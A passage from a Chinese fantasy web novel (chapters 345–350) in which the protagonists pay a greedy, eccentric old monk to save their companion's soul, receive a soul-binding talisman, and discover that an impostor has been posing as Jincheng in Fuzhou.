“这两个人就算当时没反应过来,但是很快也会想通,再加上若是楚云颂知道了凌珞受重伤,他没了这方面的忌惮,有些以前不敢做、不能做的事,现在就会开始做了。” “到时候说不定他和凌幽会再次达成什么协议一起来追我们,毕竟凌幽现在没有身体,若是有了帮手,那肯定会方便许多。可如果楚星玄回去开始查他娘亲的事,说不定会惹得暗城乱成一团,楚云颂也就没心思再管凌幽和我们的事了。” 裴子墨笑了笑,“是啊,但归根结底还是暗城自己的事,反正,我已经给楚星玄留了退路了。” “那就只能希望,若是真的有危险,他能来得及从暗城跑到藏书阁吧。”白锦夜道。 “能的。”裴子墨点点头,“楚星玄从小就跟他爹斗智斗勇的,他要是真想逃,从暗城逃出来的路他就知道无数条,况且之前也带他走过上圣殿的捷径,能比别人快上不少。” 第345章 既然施主诚心礼佛 白锦夜和裴子墨刚到复州城外,就碰到一直等着他们的左辞。 左辞和寒羽是一路骑快马,要比他们的马车速度快上不少,也早就摸清楚了沈易安老家的事情。 “王爷,沈易安老家在复州以南的平县,离这里大概要三天的路程。”左辞说着抬头看了看天,刚刚午时,“你看咱们……” 白锦夜轻轻皱了下眉头,往城里看了一眼,本以为若是有时间,还能去看一眼外公。他又转头看了眼马车里面,轻轻叹了口气,“现在就出发吧。” “好。”左辞点点头,翻身上马,跟寒羽在前面带路。 从昨天下午开始,裴子墨就也开始昏睡了,他给血莲喂了一次血,也没见她醒过来,如今到平县还要三天,真的是没有一点时间可以耽搁了。 最开始的时候,白锦夜还会顾及裴子墨的身体,马车尽量平稳些不要颠簸,但如今,也就只能尽快赶到平县。 平县虽然是县城,但是占地面积也不小,要比琼华山脚下的西慈县大上几倍,也繁华不少。 寺庙不在县城里面,在城东十里的地方。 寺庙不大,甚至连名字都没有,周围是一圈矮墙,里面只有一个佛堂,左右各有一处厢房,佛堂里也没什么香火。 左辞上前敲了敲门。 没一会,便有个四十岁上下的中年和尚打开了院门,他打量了下面前的人,才开口道,“几位施主,可是有事?” “大师,我们有家人生病,想要进寺庙里烧香拜佛。”左辞开口道。 中年和尚双手合十,“再往前二十里,是本地香火最旺盛的重光寺,本地人都去那里烧香拜佛,几位施主往那去吧。” 左辞怔了一下,又道,“实不相瞒,我们是受人指点,来寻此处的住持大师。” 中年和尚沉默了一会,才问,“指点你们的人,叫什么名字?” 左辞转头看了看白锦夜,见他点头,才道,“沈易安。” 听到这个名字,中年和尚皱了下眉头,开口道,“几位施主稍等片刻。”说完他关上门,回了佛堂,隔了好半天,才重新回来打开门,“几位施主里面请吧。” 院门不大,马车根本进不去,白锦夜也只能下了马车,掀开车帘,正要抱起裴子墨,却见她睁开了眼睛。 “到了?”裴子墨拧了拧眉,声音有些虚弱。 白锦夜点点头,扶着裴子墨起身下了马车,往院子里面走。 左辞和寒羽在后面背起了凌珞,跟着一起进了门。 中年和尚看了看裴子墨,目光又落在凌珞的身上,眼底带了几丝疑惑,不过还是没说什么话,带着几人进了佛堂,“师父,人带进来了。” 佛堂不大,只有正中放着一尊佛,但是佛前的香案上已经积了一层灰,显然已经很久没有人擦拭和烧香了。 佛像前面,随意地摆了三个蒲团,蒲团上也脏的不行,看样子这寺里虽然如今有两个和尚,但是却没有一个人拜佛。 佛堂的东边,是一个小塌子,一个老和尚正眯眼躺在榻上。 佛堂太小,实在容不下这么多人。 左辞看了看,也没个坐的地方,甚至于地上似乎都比蒲团干净,犹豫了半响,最终还是只能放凌珞在墙边坐下,让他倚着墙靠好,便赶紧和寒羽出了门。 他们出去,这佛堂里才终于有个能转身的地方。 老和尚睁开眼睛看向中年和尚,“有贵客来,还不去煮茶?” 中年和尚脸上有几丝为难,“师父,咱们没有茶了啊。” “哦?”老和尚挑了挑眉,“茶都没有了啊,那就算了吧,贵客也不是来喝茶的。”说完他挥了挥手,中年和尚便退下了。 老和尚慢慢悠悠地坐起身,抬手随便地指了指,对着白锦夜和裴子墨道,“坐吧。” 这里哪有可以坐的地方? 好在左辞有眼力见,又赶紧进来,扫了扫蒲团上的灰,脱掉自己的外套铺在蒲团上,然后才退出去。 白锦夜扶着裴子墨坐下来,却听那老和尚嗤笑一声,他轻轻皱了下眉头,转头看过去。 “世人粗鄙。”老和尚摇了摇头,才问,“你们在何处见到的沈易安?” “在复州。”白锦夜看出来这老和尚多少是有些怪癖,只能无视他嫌弃他们的话。 “复州。”老和尚盘算了一下,“应该有些日子了吧?” 白锦夜点点头。 “若不是万不得已,沈易安应该也不会向外人提起我,看样子……那应该就是在他死前了?就是因为你们,他才死了?”老和尚又问。 “当时我们确实是有些事询问他,但是他可能是说了一些不该说的话,所以魂魄自燃了。”白锦夜沉吟了一下,回道。 老和尚轻笑一声,“说了些不该说的话……”顿了顿,像是也不打算继续追究这件事,“那你们来是做什么?” “我这两位朋友受了伤,之前从沈易安的描述中,我们大概了解到,大师应该有办法可以救我这两位朋友,所以才冒昧前来。”白锦夜开口道。 “我为什么要救你的朋友?”老和尚甩了甩袖袍,一副什么都不想管的模样。 白锦夜沉默了会,转头看了看外面,才道,“之前沈易安说,这寺庙里只有你一个人,如今又多了一位师父,想必在吃食开销上,也要增加不少。以前可能有沈家布施,但如今看来,沈家已经很久没有布施了,不然以后这寺庙里所有的开销都有我来负责,可以么?” “你?”老和尚看了白锦夜一眼,“你能负责多久?像沈家一样,负责个几十年,之后就不管了?” 白锦夜叫左辞过来,跟他要了银票,“这是一万两,应该够寺里撑上几年,之后我定期叫人送银票过来。” 见到白锦夜手里的银票,老和尚眼睛都亮了,迅速的从榻上站起来,几步走过来,几乎是把他手里的银票抢过来,一把塞进怀里,低声嘟囔道,“一万两?施主可真大方,那沈家布施几十年,也没花这么多钱,天天送来些白菜萝卜,人都吃绿了,银票好,银票好,这下可以买肉吃了。” 说完又意识到自己说漏了嘴,赶紧咳嗽了一声,也不顾地上的灰尘,直接坐了下来,“看施主诚心礼佛,我便帮你看看你这两位朋友。” 第346章 从哪来,回哪去 裴子墨一直没有说话,一是虚弱,另外也是想看看这老和尚的本事到底如何。 她打量着老和尚的时候,老和尚也在打量着她。 半响后,老和尚又看向凌珞,“看样子,问题的症结在他身上。”说完他起了身,走到凌珞的身边蹲下。 裴子墨和白锦夜对视了一眼,这老和尚确实有些能力。 老和尚在凌珞面前蹲了好一会,最后抬起手,拍了拍凌珞的脸颊,“醒醒,别装睡了。” 白锦夜张了张嘴,正要解释凌珞可不是装睡,他都已经昏迷很多天了,可是话音还没出来,就见凌珞睁开了眼睛。 凌珞有些茫然地看着面前的老和尚,目光转了一圈,见到旁边的裴子墨和白锦夜,顿时明白过来,又收回目光,看向老和尚。 老和尚像是看出了什么,退了几步,席地坐在三人中间,看一会凌珞,再看看裴子墨,又看向白锦夜,最后轻笑了一声,“奇怪,又不奇怪。” 顿了会,他慢悠悠又极其舍不得的把怀里的银票掏出来,递回给白锦夜,“算了吧,人我救不了。” 白锦夜没接,只是说,“这钱就算是我的香火钱,既然给了大师,又怎么会拿回来?” “真的?”老和尚有些不相信。 “真的。”白锦夜点点头。 “这世上还真有视金钱如粪土的傻子?”老和尚嘀咕了一声,像是怕白锦夜反悔一样,迅速的把银票又塞回怀里,眨巴着眼睛想了半天,叹了口气道,“这钱我也不能白拿,但是人我确实也救不了。” 他说着托着下巴,脸上纠结得不行,最后一拍大腿,看向裴子墨,“这人呢,虽然救不了,但未必没有活路。” “大师请说。”裴子墨开口道。 “从哪来,回哪去。”老和尚看了看凌珞,又看了看白锦夜,剩下的话没再说。 裴子墨拧起眉,“可是……我做不到。” “你做不到,我可以啊,但是……”说到这,老和尚又停了下来,依旧是满脸的纠结。 白锦夜皱了下眉,“大师,只要能救人,银两不是问题。” “你瞧瞧你说的是什么话?我是贪财的人么?”老和尚瞪了白锦夜一眼,“只是这可要耗费我不少功力了。”他说着摸了摸脸颊,“这脸要是再老上个十几岁,还能看么?” 他眨着眼睛想了半天,才抬手一指院子里的寒羽,“让我来也行,把他的血给我一碗。” 裴子墨转头看了看寒羽,这老和尚这么说,显然是认出了寒羽的身份。 这个要求还不等白锦夜和裴子墨说话,门口的左辞就应了下来,“行行行,这个没问题,我这就去跟他商量。” “等会。”老和尚站起来,走到榻边,翻了半响,翻出来一个大碗,递给左辞,“这个,一碗。” 左辞看着手里比脑袋还大一圈的大碗,整个人都不好了,他以为老和尚说的一碗血,也就是一小碗血,可这么大的碗……“这……这……流这么一大碗血,人都要死了。” “又没让你一次流完,反正你们得在这留几天,慢慢攒,看样子你们这里也就你是个全乎人儿,那你就每天大鱼大肉给他炖上,好好补补,死不了。”老和尚说着舔了舔嘴唇,又补充道,“大鱼大肉的,多备上点,这么多口子人呢。” 左辞苦笑两声,看了看虚弱的裴子墨,只能转身往寒羽那边走。 眼下裴子墨虚弱,他们家王爷就跟着操心,万一裴子墨有个三长两短,他们家王爷恐怕也要活不成了。 希望寒羽能给他点血,回头他一定好好补偿寒羽。 这下老和尚算是心满意足了,“行嘞,你们在这等着,我去准备准备。” 把执念从原主身上剥离出来容易,但是要放回去……这种事情裴子墨闻所未闻,如果放回去,执念就变回执念,恐怕也不是完整的魂魄了,甚至也不知道对原主有什么影响。 裴子墨转头看向凌珞,他醒过来,也听到了老和尚的话,自然也明白从哪来回哪去是什么意思。 他轻轻笑了笑,“起码不是消失,等以后养好了,再剥离出来,说不定还有机会重新做人。” 裴子墨正要说什么,便见老和尚已经快步走了回来,她以为他要准备很久,可哪知道不知道去哪拿了半截香就走了回来。 这几步路走得快得几乎生风,像是怕走得慢了,他们就反悔不给银票不给寒羽的血了一样。 裴子墨抬眼看着满脸堆笑的老和尚,脑袋里只冒出来一个念头,这件事对这老和尚来说,恐怕是容易得不行,他这就算是占了大便宜,才开心成这副模样。 老和尚重新在三个人中间坐下,随手一挥,佛堂的门就被关上,他这才小心翼翼地点燃了手里的香。 香燃了起来,飘出的烟里带着一丝奇异的香气,裴子墨正在想着这香气的味道,便感觉肩膀一沉,一转头,便见到白锦夜闭上眼睛晕了过去。 她又看向凌珞,这会凌珞也重新闭上了眼睛。 裴子墨赶紧看向老和尚问道,“你说从哪来回哪去,是要把他变回执念放到他身上么?那他以后就依旧是一丝执念了?那原主带着这丝执念,会不会……” “什么变成一丝执念?”老和尚看向裴子墨,“人都好不容易活成了一个正常人,怎么再揉成一团执念?” “那你的意思?”裴子墨皱起眉头不太理解。 “呵。”老和尚轻笑一声,“断魂箭这东西,放在别人身上无解,但是放在这两个人身上,就刚好没事,你可知道断魂箭是什么原理?” “消融魂魄?”裴子墨开口问道。 老和尚摇了摇头,“断魂箭一旦进入魂魄,就会四散到魂魄周围,包裹住整个魂魄,让魂魄和外界失去联系,就像一个人,把他全身都封闭起来,那他想要存活,就只能消耗自身的能量,时间久了,自然就死了。” “但是这断魂箭,又最害怕魂魄的力量,它包裹住的魂魄攻击不了他,但是外面的魂魄却可以。别人不行,是因为别人的魂魄不会攻击断魂箭,可他们两个,同宗同源,他的魂魄感受到他的魂魄被困住,就像是感受到自己的一部分被困住,自然会主动去帮忙。” 第347章 真是没见过世面 “那为什么要把他的魂魄放回去,他的魂魄才能帮忙,现在不行么?”裴子墨又问。 “行啊,换我就行。但是你们这些人不会控制自己的魂魄,只能靠魂魄自主的行为。”老和尚看了一眼裴子墨,隔了会才问,“小丫头,对魂魄之力好奇?” 裴子墨沉默了会,如实点点头,“确实好奇,以前从没有听说过。” 老和尚看了看手里的香,才问,“你修习术法,是为了强身健体?身体强健了,那魂魄呢?魂魄如果不够强大,又怎么跟身体匹配呢?” “愿闻其详。”裴子墨继续道。 老和尚笑了两声,“一万两银票,一碗修罗血,就想知道这么多?真是想得美。”他说着把手里的香掐灭。 裴子墨的目光也落在他手里的香上,这香点了半天,可却一点都不见变短。 老和尚见裴子墨看过来,就赶紧收起了香,生怕别人多看一眼就能抢走他的宝贝,“我可提前告诉你啊,我也不知道他的魂魄攻击这断魂箭要多久才能完全解除,这期间,那个人的身体里没有魂魄,除非你有办法保存,不然那身体就要腐烂了,等这魂魄恢复了,可就没地方去咯。” “那他的魂魄会不会等不到断魂箭完全解除就彻底的消失了?”裴子墨又问。 “不会啊,只要这断魂箭露出一点点缝隙,他到的魂魄就不算完全与外界隔绝,那就有生机。”老和尚满脸无所谓的模样,“放心吧,这点小东西,没事的,瞧你们跟天要塌下来一样,真是没见过世面。” 裴子墨沉默了一会,又开口问道,“大师见识多的话,能不能给些指点,比如在没有魂魄期间,他这身体要如何保存?” 老和尚看着裴子墨,摸了摸下巴,思索了一会,点点头,“也不是没有办法,只不过……” “大师有什么条件只管提。”裴子墨现在已经看出来了,这老和尚说是出家,但是尘缘可一点没断,当初沈家供奉他,他估摸着是故意让沈易安看到那本书。 本来以为是让他修习一点法术,只要他知足,那就足够他用一辈子了。 但老和尚又不想沈易安把从他这里学的东西教给别人,所以在他的魂魄上下了禁制。 如今只要有钱,只要能满足他的条件,他大概是什么都会答应的。 “我要一点血莲晶露。”老和尚看着裴子墨笑得开心。 裴子墨轻轻皱起眉头,怪不得他们一进门老和尚就说贵客来了,原来这老和尚是早就看穿了,而且血莲晶露这种东西,知道的人少之又少,可这老和尚显然不仅知道,甚至于连功效都很熟悉的样子。 她转头向外面看了看,想起了老和尚给左辞的那个大碗,脸色有些为难,“你既然知道血莲晶露,就应该知道这东西很少,而且也不一定什么时候会有。” “我都说了只要一点。”老和尚在怀里摸了摸,摸出来一个空的小瓷瓶,“就这个小瓷瓶,一小瓶就可以。”他说着顿了顿,“我看这血莲晶露,估摸着也就是这两天了。” 裴子墨接过瓷瓶,看向老和尚,“大师好像对血莲很了解。” 老和尚摆了摆手,“知道的不多,只不过啊,这活得年头多了,就什么都能听说一点。”他说着顿了下,“回头我给你一颗丹药,给他服下,能保这身体一年不腐,然后你们一直往北走,过了鬼王沙漠,找人问一问,那边有个地方叫血域,血域的最北边,一处山崖上,有个山洞,那洞里有一口玉棺。” “你们把玉棺里的人扔出去,把他放进去就可以了。”他说着脸上带了几抹得意之色,像是只要想到把玉棺里的人扔出去这件事就很开心的模样。 裴子墨看着他,“那玉棺里的人是谁?” 老和尚轻笑了几声,“是我那不成器的师弟,死了这么多年,也没活过来,看样子是再也活不过来了,占着那风水宝地又何必?” 裴子墨微微拧了拧眉,没有说话。 “反正我知道的,这世上能保存尸身不腐的,就那么一个地方,已经告诉你了,爱去不去。”老和尚说着顿了顿,“到时候你们若是有时间,就找个地方把我那师弟给埋了,若是没时间就算了,反正人死了这么多年,魂魄都不知道转了几世,尸身留不留也没什么用了。” 老和尚说完,又想起什么,凝眸看了裴子墨一会,才问道,“你们就是从鬼王沙漠北边来的吧?” 裴子墨点点头,“但是没有去过血域,也没听说过你说的地方。” 老和尚嗤了一声,“怪不得你们身上有那该死的凝川的树味,从鬼王沙漠里出来的人,都带着这恶心的味道。”说完他摆了摆手,手上捏了个印诀,又低声念了几句裴子墨听不清的咒语,随后打了一个哈欠,“好了,出去找个地方呆着去吧,等修罗血和血莲晶露给我了,你们就可以走了。” 他说完站起身,摇摇晃晃地走到小塌子旁边,重新倒了下去,眼睛都闭上了,又想起什么来,睁开眼睛,“对了,别忘了提醒这小子,以后记得定时把香火钱送过来,老和尚我记性可好,不送上门我会找你们去要的。” “大师放心。”裴子墨看着白锦夜依旧没有醒过来的迹象,又看老和尚已经闭上了眼,脸上也带着一丝疲惫,想着之前老和尚健步如飞,可刚刚这几步路已经走得打晃,想必说是容易,但也确实耗费了不少力气。 她心里还有疑问,但暂时也就压了下去,反正还要在这里呆上几天,之后找机会再问就是。 中年和尚和左辞一起帮忙把白锦夜和凌珞抬到旁边的厢房安顿好,这里也根本没有多余的床,还是中年和尚不知道从哪找来几块破布铺在了地上。 左辞哪能看他们家王爷受这个苦,于是赶紧骑马去平县置办了些用品。 中年和尚看着左辞拉回来的一大车用品眼睛登时开始发光,这些人等走的时候大概是不会带这些东西走,他可算是有棉被可以盖了。 左辞把用品送进厢房,便又去商量寒羽要血了。 裴子墨坐在白锦夜的旁边,犹豫了会,才伸出手,手指搭上他的眉心。 第348章 沈易安的下场你忘了么? 左辞回来,还带回来不少吃的,本来是给寒羽吃的。 可是老和尚闻到味儿,挣扎着爬出来,抢走了一只猪蹄和一只鸡,吃得仿佛连骨头都没吐。 看得左辞在一旁不停地念佛偈,试图提醒老和尚他可是个出家人。 然而老和尚一点出家人的觉悟都没有,吃完之后打了个饱嗝,对着左辞道,“小伙子不错嘛,买的是这平县最贵的那家酒楼的菜吧?有钱就是好啊。” 左辞干笑了一声,本来东西都是给寒羽买的,可是寒羽愣是没抢过老和尚,这会正蹲在一边生气。 老和尚擦了擦嘴,“明天再多送点过来,这点东西不够塞牙缝的。”说完他才想起什么,摸出一个小瓷瓶,晃了晃,听到里面确实有药,就递给了左辞,“给你们主子送过去,我可不白吃白拿你们的东西,药给了哦。” 左辞接过药,看着老和尚摇摇晃晃扶着肚子回了佛堂,才看向寒羽,“别急别急,一会我再给你买。”说完赶紧去了厢房把药给裴子墨,就立刻又出了门。 裴子墨知道这是给凌珞的药,可这会凌珞的魂魄已经不在身体里,药根本喂不下去,没办法只能抓来一只游魂,塞到凌珞的身体里,控制着把药吃了,又把游魂赶走。 这小小的破庙一点都不隔音,晚上老和尚和喝了酒的寒羽两个人的呼噜声此起彼伏,吵得裴子墨根本没办法入睡。 她叹了一口气,坐起来,从窗子向外面看去,想到老和尚说的血域—— 鬼卿去了血域,冷鸢也跟着一起去了,也不知道他们现在怎么样了。 蓦地,她却看到外面的院墙像是微微扭曲了一下,她眯起眼,再仔细看,又什么都看不到了。 第二天傍晚的时候,血莲晶露就开始流出来,裴子墨赶紧用小瓷瓶装了些,又让左辞找了其他的小瓷瓶,除了给老和尚的以外,剩下的她自然也要留起来,以备不时之需。 左辞哄了寒羽三天,才终于有了一大碗血给老和尚。 这两样东西拿到手,老和尚笑得满脸都是褶子。 裴子墨也就趁机开口问道,“等我这位朋友醒过来,他能感觉到自己身上多了一个魂魄么?” 老和尚摇了摇头,“就你们的魂魄这点微弱的力量,感受不到这些。” 裴子墨点点头,如果是这样,那就最好,现在还不是让白锦夜知道他身份的时候,甚至……最好白锦夜永远都不要知道,她轻轻叹了一口气,“大师,关于你说的魂魄之力……” “沈易安的下场你忘了么?”老和尚“嘿嘿”笑了两声,“我师父收了十个徒弟,可是有一天啊,他发现这东西不能教给别人,最好不要传下去,于是在他死前,他就把他那九个徒弟全杀了,要不是老和尚我命大,刚好我师父就在找到我之前死了,你可就见不到我了。” “难道你也想学会点什么,回头再让我浪费时间跑过去杀你?不行不行,我可不干这种费力的事。”他说着连连摆手,“我就在这,以后你们有什么事,只要能拿得出让我心动的东西,能帮忙能救人的,老和尚我绝对不会拒绝。” 裴子墨点点头,“只是,我有一个仇家,他现在在追杀我,他如今虽然只是魂魄的状态,但术法依旧要比我高上不少,我只是想知道,有没有什么制衡之法。” 她说着停顿了一下,又拿出一瓶血莲晶露放到老和尚面前。 老和尚脸上一喜,“都是魂魄了,有什么不好办的?你写道符咒把地府的鬼差召唤出来,他术法再高,只要是魂魄,那就打不过鬼差。” “但是……现在他的魂魄还不能去地府。”裴子墨犹豫了下才道,“不瞒大师,我需要拘住他的魂魄。” 老和尚转头看向裴子墨,半响后收回目光,思索了好一会,又站起身,走到墙角,从柜子后面扒拉出一本书,那书都已经泛黄了,他一边翻书一边念叨,“诶呦,这术法比你高,不能惊动地府,还要把他的魂魄拘起来,这可真麻烦,自己的术法不太行,倒想着做这么复杂的事,真是……” 裴子墨垂下眼,轻轻叹了口气,原来术法高真的可以为所欲为,想说什么就说什么,丝毫不怕挨打啊。 老和尚把书翻来翻去,最后才走回来,让裴子墨割破手指,把血混上了一些血莲晶露,随后他从自己的衣袍上撕下一条,用这个写了一道符咒。 等符咒干了,才递给裴子墨,“喏,用这个困住他,但这东西只能用一次,行不行的,就看你的运气了。” “多谢。”裴子墨接过来收好,起身往外走,走到门口的时候,她又想起什么,转头看向老和尚,“大师,我以前听说过一个阵法,叫九星灭仙阵,这阵法不会就是你创的吧?” 老和尚的眉毛一挑,抬眼看向裴子墨,“年纪不大,听说的倒是不少。” 裴子墨也是刚刚想到,老和尚的师父收了十个徒弟,死了九个,之后那老师父没来得及杀老和尚,他自己就死了,这世上哪有这么巧的事? 裴子墨笑了笑,“那咱们脚下这个阵法,是不是你师父临死前留下的?他虽然没有杀了你,可是却把你困在这,就这么个小院子,你永远都出不去?” 老和尚听到这,当即就不开心了,摆了摆手,“去去去,真是哪壶不开提哪壶,一天的好心情都让你毁了。”说完他又伸长脖子朝院子里面喊,“那个左什么来着,晚上多加一个肘子,再来壶酒。” 左辞听到老和尚的喊声,看着裴子墨正笑着从佛堂里出来,估摸着他家王妃这是得到了想要的东西,于是也不含糊地应了下来,“好嘞。” 说完就小跑到裴子墨的旁边,“王妃,现在这到底是什么情况?怎么又变成王爷晕倒了啊?都好几天了,没事吧?” 裴子墨正要说话,便见到白锦夜从厢房里走出来,他一手扶着门,脚步也不太稳,显然是刚醒过来,一脸的茫然,根本不知道发生了什么事,她笑了笑看向左辞,“你家王爷醒了,赶紧去准备点吃的吧。” 打发了左辞,她才朝白锦夜走过去。 第349章 我看到,我快自由了 白锦夜皱眉看着裴子墨,“我看到凌珞……” 他醒来就见到凌珞的身体在他的旁边躺着,他能清晰的感受到,凌珞身上没有一丝一毫的生气。 “嗯。”裴子墨点点头,“他的魂魄在别的地方,我们之后要找个地方把他的身体先保存起来,等他的魂魄没问题的时候,自然会回到身体里。” 白锦夜点点头,隔了会才问,“可为什么我会晕倒?” 裴子墨转头往佛堂的方向看了一眼,压低了声音,“那大师有怪癖,不想被人看到他施法。” 白锦夜心中还是有些疑问,但沉默了会,也没再问出口,只是说,“那咱们是不是要尽快出发了,不然凌珞的身体……” “倒也不急。”裴子墨摇了摇头,“大师给了一丸药,能暂时保存他的身体,不会有什么事。”她说着轻声道,“你如果想回复州看看你外公和张太妃,我们也可以小住几天,只是……希望你外公不会介意咱们带着凌珞过去。” “这倒没什么,外公一辈子在战场上。”白锦夜说着轻轻叹了口气,又转头看了看厢房里面的凌珞,“总之,没事就好,这样你也不用再记挂着这件事。” * 白锦夜已经醒了,第二天早上,裴子墨便打算向老和尚告辞。 老和尚估摸着是看在以后还有银票送过来的份上,破天荒的出了佛堂送他们,甚至脸上还有些依依不舍的模样。 “对了,大师,我让酒楼这几天都送饭菜过来,钱已经付过了。”左辞收拾好了马车,跟老和尚说道,“你要是有什么想吃的,等他们来送菜的时候,跟他们说就行,留下的钱估摸着能吃个七八天。” 之前左辞也不知道什么时候离开,这边也需要个跑腿的,他总不能老是往平县跑,所以就在那边的酒楼留了钱。 现在他们要回复州,是可以不进平县县城的,况且也没有多少钱,在左辞的眼里不值得再去跑一趟拿回剩下的钱,不如就留给老和尚和中年和尚了,反正看样子他们挺喜欢吃肉的。 虽然这两位和尚看起来很久没吃过大鱼大肉了,这几天吃得太油腻,这两位不停的往茅房跑。 左辞也劝了劝,这么胡吃海塞的对肠胃不好,可两个人没一个人听,见到肘子烧鸡,还是拼命往嘴里塞。 老和尚闻言,眼里不舍之情顿时减轻了不少,他呷了呷嘴,看向裴子墨,“丫头,把你怀里的书给我看看。” 裴子墨怔了一下,她怀里的,便是当时从那个洞里带上来的看不懂的那本书。 但是这几天她一直都没有拿出来过,没想到这老和尚倒是眼睛带毒。 若是这老和尚存心想抢,他们肯定也不是对手,裴子墨沉默了会,把书拿出来递过去。 老和尚把书接过来,在手里翻了翻,轻笑了一声,“果然没看错。” 裴子墨现在还看不懂这些字,看这老和尚的模样,显然是看懂了的,她便开口问道,“大师,不知道这书上写的是什么?” “你不知道?”老和尚一边翻书一边问道。 “这些字,我确实不认识。”裴子墨点头。 老和尚眼睛转了转,没回答,反倒是说,“沈易安应该跟你们说在我这里看到过一本书吧?我那本书上写了不少秘密,比如这灵魂之力,比如死气……不过沈易安慧根有限,虽然看了书,学到的不过也都是些上不了台面的皮毛。不如咱们换换,我把我那本书借给你,你把你这本书借给我,咱们换个十年八年的,到时候再换回来。” 裴子墨看着老和尚没有说话。 “别这么看着我,你不吃亏,你拿着这书,你又看不懂,这十年八年的,你先把我那本书学透了,也学学这古字,到时候你能看得懂的时候,再把书拿回去,我又不会贪你这本书。”老和尚见裴子墨没说话,便继续道。 裴子墨摇了摇头,“算了,我有我自己修习术法的路子,这书我就留着慢慢看吧。” 老和尚拧了拧眉,有些生气的抬手把书扔回给裴子墨,“小气吧啦的,不知好歹。”说完也不打算送几个人了,转身回了佛堂。 裴子墨收好书,出了院子上了马车,左辞便赶着马车出发了。 走了一段,白锦夜才开口道,“那大师应该是看懂了这书上的字。” “嗯。”裴子墨点点头,“我记得之前沈易安说见过这大师炼化女鬼,再加上死气之事,他修炼术法之途跟我的方式应该相差很多,这魂魄之力,也不是一朝一夕能够炼成的。” “而且这本书,上面的字经常会变化,我怀疑这上面不是什么修炼术法的方式,能够每天变化的,只有这世间的事情,我要是没猜错,这本书要么记载的是当前这世上发生的事情,要么就是未来即将发生的事情,若是预测的书,那用处可就更大了。” “最重要的是,我觉得那大师应该已经在这本书上,看到了他想看到的。”所以她刚刚拒绝,那老和尚就把书扔了回来,都没有再试图劝说一下,说不定即便是她答应,那老和尚也不会答应了。 她说着也把书拿出来,翻开了一页,肉眼可见的,这一页上有一段文字消失,随即变成了另外一段文字。 白锦夜垂眼看着变化的文字,叹了一口气,“若是能看懂就好了。” “不急。”裴子墨摇了摇头,“慢慢来就是。” * 老和尚虽然回了佛堂,可是却站在窗前,伸长脖子张望着马车离开的方向。 中年和尚站在老和尚身边,也跟着看了看,才道,“师父,人都走没影儿了。” 老和尚这才收回目光,“我还当这么多年过去,这世上的术法都已经失传了呢。”他说着眨巴了下眼睛粗略算了下,“多少年没见过会术法的人了。” “也不过都是些粗陋的术法。”中年和尚接话道。 老和尚点点头,又摇了摇头,“这外面,恐怕要有大事发生了。” 中年和尚怔了下,随即笑道,“那也影响不到咱们这。” 老和尚轻笑了一声,“你猜我在那本书上看到了什么?” 中年和尚茫然地摇了摇头。 老和尚眯起眼,又向窗外看去,眼底带着几丝狂热,“我看到,我快自由了。” 第350章 锦成跑了 回到复州,张之极见到白锦夜开心得不得了,虽然之前司空过来,把锦成送了回来,也说明了锦成的身世,但对于锦成,张之极始终觉得还是没有那么亲近。 张嬷嬷也只是在锦成小的时候见过他,现在张太妃连白锦夜都不愿意见,自然更不愿意见锦成。 再加上锦成到了复州之后,整日呆在房间里,偶尔出来,也像是避着所有人。 虽然不够亲近,但是张之极觉得这个外孙子命更苦,所以吃穿用度上,也都尽可能满足他,按理说,锦成的日子也算是过得不错。 白锦夜他们回来,张之极自然张罗着安排全家的团圆饭。 至于裴子墨,便也只是告诉张之极之前只是易容,现在才是她真实样子。 张之极欣然接受,他本不是注重外表之人,只要他们两情相悦,他便是开心的,但是从他的私心来讲,若是裴子墨的外貌上没有什么缺陷,那自然是更好的。 张太妃依旧是和之前一样,只是露了个面,简单地打了个招呼,便回去吃斋饭了。 倒是锦成那边,下人去催了好几次,他才不情不愿地来了。 张之极的脸色微微有些不好,见到锦成进门,也忍不住出口责备,“锦成,你真是越来越不像话了,你兄长嫂子回来,你不主动过来见礼,还要三催四请,让全家人都等着你么?” 锦成在裴子墨的心中,本就是个有些懒散自小也没学过规矩的人,这点她倒也不在意,可转头看过去的时候,眉心却蓦地皱起来,她站起来几步走到锦成的身边,一把抓住了他的衣领。 张之极见状又赶紧帮锦成说话,“外孙媳妇儿,毕竟从小就没人教他规矩,虽然来了些日子,但我也没有太过严格的要求他,我让他给你赔礼,你别跟他一般见识。” 裴子墨眯着眼,抬手在锦成的脸上一抹,一张陌生的脸露出来,“你是谁?锦成呢?” 被人识破了身份,这人吓得当即就跪在了地上,“几位大人饶命啊,饶命啊。” 锦成进门的时候,其实白锦夜也隐约地感觉到他身上的气息不太对劲,只不过没有那么确定,这会也站起身走了过来,拧眉看着面前的人。 张之极更是迅速地起身走过来,“怪不得这些日子你就总是呆在房间里不肯出来,原来你根本不是锦成!竟然冒充我外孙在府上骗吃骗喝这么久,老实交代怎么回事,不然就送你去官府!” 那人被张之极的话吓得说话都开始结巴起来,他看向白锦夜,“公……公子,你倒是说句话啊,是你让我装成你的样子的,这可不是我的主意啊,你可不能送我去官府。公子你现在既然回来了,那你快跟他们解释一下,这事跟小的没关系啊。” 白锦夜拧着眉,“找你的人,并不是我,到底怎么回事,从头说。” 那人有些茫然地看着白锦夜,像是有些不太确定,又重复了一遍他的话,“从头说?” “快说!”白锦夜冷喝了一声。 那人疑惑地看着白锦夜,好半天,才开口道,“小的就是个乞丐,之前有个人……”他想了想,抬手哆哆嗦嗦地指向白锦夜,“就是这位公子,他找到我,让我假扮他,他说我只要能一直假扮他,就能一直吃香的喝辣的,再也不用为吃喝发愁。” “他也是随手弄了弄,我也不知道他做了什么,我就变成和他一样了。一开始我也不知道这是怎么回事,但是后来确实是像他说的那样,所有人……都对我挺好的。” “可我也知道,我就是冒牌的,所以我也不敢出来见人。”他说着又看向白锦夜,“公子,你现在回来了,我这差事是不是结束了?那咱们说好的,你可是答应了给我五百两的。”顿了顿,他突然想到什么,有些诧异地看着白锦夜,“公子,你现在翻脸不认人,不会是想要赖账吧?” “他是在哪找到你,是从什么时候开始让你假扮他的?”裴子墨开口问道。 “这可有段日子了,在来复州之前。”乞丐回道,“我之前也就是到处行乞,有一天吃坏了肚子,在树林里解手的时候,遇到了这位公子,他跟我换了衣服,让我假扮他……那好像是在邺城的城外。” 裴子墨转头看向白锦夜。 “邺城,刚刚出京没多久。”白锦夜低声解释了一句,又看向乞丐问道,“那个跟我长得一样的人,找你的时候,只有他自己,没有别人?” 乞丐赶紧点头,“是。” 白锦夜抬手把管家招过来,让他打发了这乞丐。 